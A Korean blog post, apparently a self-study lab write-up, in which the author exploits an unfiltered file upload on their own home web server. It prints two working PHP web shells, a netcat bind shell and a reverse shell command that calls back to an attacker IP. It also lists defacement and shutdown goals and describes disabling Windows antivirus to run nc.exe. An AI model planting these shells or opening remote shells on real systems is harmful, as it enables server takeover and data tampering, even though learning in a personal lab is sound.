본문 바로가기

해킹/해킹 기법

[File Upload 공격 정리] 내가 만든 웹사이트를 웹 쉘로 장악하기

집에 있는 데스크탑 pc에서 가상머신으로 웹 서버를 실행시켜 뒀습니다.

 

포트포워딩까지 끝냈더니 노트북으로 사이트를 들어가니 잘 접속됩니다.

다음번엔 도메인도 한번 구해봐야겠어요

 

 

메모장으로 간단한 웹 쉘도 만들었습니다.

<?php echo system($_GET['cmd']); ?>

 

글쓰기 버튼을 눌러봅니다.

 

글 작성 페이지가 잘 뜹니다. 

 

가상머신 쬐끄만 창에서만 보던 걸 노트북 화면으로 띄우니까 감회가 새롭네요

 

게시판 답게 어그로가 끌릴만한 제목으로 webshell.php를 업로드 해줘보겠습니다.

 

웹 서버 코드에 allowed_mime_type 변수를 리스트로 생성만 해놓고 조건문으로 걸지 않았더니

php 파일도 잘 등록이 됩니다.

현재 제 서버는 File Upload 공격에 엄청나게 취약하다는 뜻이겠죠

Burp suite 브라우저를 열어 HTTP history를 살펴보려 했더니 SSL 관련 에러가 났습니다.

 

이 웹사이트는 제가 만들었기 때문에 파일의 저장 위치를 알고 있습니다.

 

그래서 다이렉트로 저장 위치 주소를 쳐서 cmd=ls 명령을 입력하니 웹 쉘이 실행되었습니다.

여러 명령어를 입력해봅니다. cmd=ls -al 명령어도 잘 먹히네요

 

뒤쪽에 데스크탑에 떠있는 가상머신 서버를 노트북을 통해 웹 쉘로 장악한 모습입니다

 

혹시나해서 poweroff 명령어를 넣어보았다.

결과 : 택도없이 안통함

 

mkdir file 이라는 명령어를 쳐서 file이라는 폴더를 웹 서버에 만들 수 있을까?

하니 되었다 ㄷㄷ

 

 

자 이제 서버에 명령을 내릴 순 있게 되었지만 공격자의 입장으로 어떻게 공격해야 할지 시나리오를 생각해야 한다.

  • 중요한 파일 변조
  • Deface 공격 ( ex : index.php 파일 변조)
  • poweroff (서버 끄기)

대략 이런 공격을 생각해볼 수 있다.

 

 


** 2023.06.18 웹 쉘 코드 수정 **

해당 공격을 수행하기 전에 CMD를 좀 더 깔끔한 UI로 구현해봅시다

 

webshell.php

<? 
  echo "
    <FORM ACTION=$PHP_SELF METHOD=POST>
    CMD : <INPUT TYPE=TEXT NAME=command SIZE=40>
    <INPUT TYPE=SUBMIT VALUE='Enter'></FORM>
    <HR><XMP>
    "; 
// 슬래시를 없애는 커맨드 
$command = $_GET['command']; 
echo ""; 
echo passthru($command); 
echo""; ?>

 

<HR> 태그는 수평선을 만드는 태그이다. 한 줄 웹쉘의 경우는 구분선이 없고 한 줄씩 구분을 지어주지 않아

보기 불편한 점을 해소하기 위한 장치이다.

<XMP> 태그는 시스템 상에 뜬 모든 문자를 (태그 포함) 그대로 화면에 출력시켜주는 태그이다.

그리고 GET으로 name=command를 받아 $command 변수에 저장한다.

passthru 함수는 외부 프로그램을 실행하고 원시 출력을 표시해줍니다.

 

아무것도 입력하지 않고 처음 웹 쉘을 호출하면 CMD 글자와 수평선만 보이는 간단한 UI입니다.

테스트 삼아 ls -al 명령어를 입력해봅니다.

 

한 줄 웹쉘 보다 훨씬 깔끔하게 나열된 것을 볼 수 있습니다.


공격을 하기 전에 웹 쉘이 왜 치명적일까?

 

사실 웹 쉘을 이용한 명령어는 root 권한이 아니라 아파치 권한이기 때문에

모든 명령을 수행할 수는 없다. 제한이 있기 때문에 웹 쉘 만으로는 한계가 있다.

웹 쉘을 이용해 다른 쉘을 연결시켜야 한다.

크게 원격 쉘에는 3가지가 있다.

  • 웹 쉘
  • 바인드 쉘
  • 리버스 쉘

네트워크는 들어오는 통신을 의미하는 INBOUND (인바운드)

서버에서 나가는 통신인 OUTBOUND (아웃바운드)로 구성되는데

인바운드의 대표적인 예시는 업로드가 있고, 아웃바운드의 대표적인 예시는 다운로드이다.

 

기업도 그렇고 대부분 일반적으로 인바운드에는 강력한 제재를 가하지만

아웃바운드에는 넓은 관용을 베푼다.

 

바인드 쉘

바인드 쉘은 기본적으로 TCP 통신을 이용한다.

서버에서 명령어를 통해 포트를 열면 그 후 호스트 (윈도우)에서 접속하는 순서이다.

 

ncat -lvp 4444 -e /bin/sh

 

이 코드를 명령어로 입력해주면 Ncat : Listening이라는 글귀가 뜬다.

 

리버스 쉘

바인드 쉘과 순서가 반대인 통신 과정을 거친다.

먼저 호스트인 윈도우에서 포트를 열고 그 후에

서버가 ncat을 이용하여 요청하게 만든다. 그럼 쉘이 연결되어 원격 쉘을 사용할 수 있게 된다.

 

 

이 쉘을 웹 쉘과 조합해서 사용하면 좀 더 치명적인 공격을 수행할 수 있다.

 


중요한 파일 변조

 

 

 

 

 


Deface 공격 ( index.php 파일 변조하기)

 

 

 

 


서버 Poweroff 시키기

터미널에 shutdown을 입력하면 off가 되어서 혹시나 하고 cmd=shutdown 명령을 내렸지만

먹히지 않았다. root 권한이 아니기 때문에 먹히지 않는 것 같다.

이 장벽을 넘으려면 다른 쉘과의 조합 공격을 해야하는데 이 때 사용할 수 잇는 툴은 

NC (netcat)이다.

Netcat은 임의의 TCP, UDP 포트에서 상대방 TCP, UDP 포트로 데이터를 보낼 수 있다.

 

칼리 리눅스 환경이라면 기본으로 내장되어 있기 때문에 설치 없이 바로 사용할 수 있지만

Windows 환경은 nc.exe 파일을 다운로드 한 후에 사용할 수 있다.

 

아래 경로에서 윈도우용 Netcat을 받을 수 있다.

다운로드 경로 : https://eternallybored.org/misc/netcat/

 

netcat 1.11 for Win32/Win64

 

eternallybored.org

 

윈도우에 설치된 기본 보안프로그램에 의해 nc.exe를 다운로드 하려고 하면 삭제되었다.

 

제어판에 들어가 보호 기능을 꺼주고 다운로드 했더니 삭제되지 않았다.

 

netcat이 바이러스라고 감지되서 보안 끈 모습

 

다운로드 받은 알집 폴더를 압축 풀기 해줍니다.

 

압축을 푸는 위치는 어디에다 풀어도 상관없습니다. (사용자가 사용하기 편한 곳으로 옮기기)

 

그리고 시스템 환경 변수 편집을 열어 환경 변수에도 등록해주면 사용에 용이합니다.

 

환경 변수 탭을 누르고 시스템 변수에서 Path를 눌러 등록해줍니다.

 

이제 netcat을 실행시킬 준비가 되었습니다.

 

리버스 쉘을 연결시키기 위해 CMD를 쳐서 명령 프롬프트를 관리자 권한으로 실행시켜 줍니다.

 

일단 netcat이 저장된 디렉토리를 열어준다.

 

그런데 자꾸 컴퓨터 자체에서 nc.exe를 바이러스로 탐지하여 삭제시켰다.

 

방화벽 창을 열어 해당 폴더 전체를 제외 경로로 따로 빼두었다.

 

이제야 nc -h 를 입력하니 제대로 동작한다. wow-!!

 

nc.exe -l -p 12121 을 입력해서 포트를 개방해준다.

 

 

그리고 아까 띄워놓은 웹 쉘에서 다음 명령어를 입력한다

 

ncat -e "/bin/sh" "공격할 ip" 12121

 

 

 

하지만 안되었다. 

 

서버에는 ncat이 깔려있지 않았던 것이다.

그런데 이러면 ncat이 깔려있지 않은 서버는 장악할 수 없다는 걸까?

 

 

그 후, 가능성 있는 아이피로 ncat -e 명령어를 날려보았지만 Ncat : TIMEOUT이라는 오류만 계속 뱉어댈 뿐이었다...


소스 참조

https://kk-7790.tistory.com/78

https://code1018.tistory.com/96

https://computer-science-student.tistory.com/520

https://gptjs409.github.io/infra/2016/09/08/nc.html

'해킹 > 해킹 기법' 카테고리의 다른 글

File Upload CTF 풀이 #2  (0) 2023.06.05
File Upload CTF 풀이 #1  (0) 2023.06.03
해킹 기법 - Hash Cracking  (0) 2023.05.30
CSRF CTF 문제풀이 #1  (0) 2023.05.21
해킹 툴 - MaxPhisher 설치 및 사용법  (0) 2023.05.17